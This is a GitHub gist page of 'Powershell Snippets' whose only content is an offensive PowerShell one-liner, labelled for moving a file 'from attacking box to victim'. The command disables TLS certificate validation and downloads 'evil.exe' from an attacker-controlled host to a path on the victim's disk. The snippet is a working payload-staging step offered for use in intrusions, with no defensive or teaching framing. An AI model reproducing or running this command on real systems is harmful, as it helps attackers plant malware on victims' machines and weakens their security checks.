Skip to content

Instantly share code, notes, and snippets.

@sckalath
Last active January 8, 2020 06:47
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save sckalath/02603e3e2273c157c547 to your computer and use it in GitHub Desktop.
Save sckalath/02603e3e2273c157c547 to your computer and use it in GitHub Desktop.
Powershell Snippets
# Transfer file from attacking box to victim
powershell.exe -noprofile -noninteractive -command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; $source="""http://attackerip/evil.exe"""; $destination="""C:\destination_file.exe"""; $http=new-object System.Net.WebClient; $response=$http.DownloadFile($source,$destination);"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment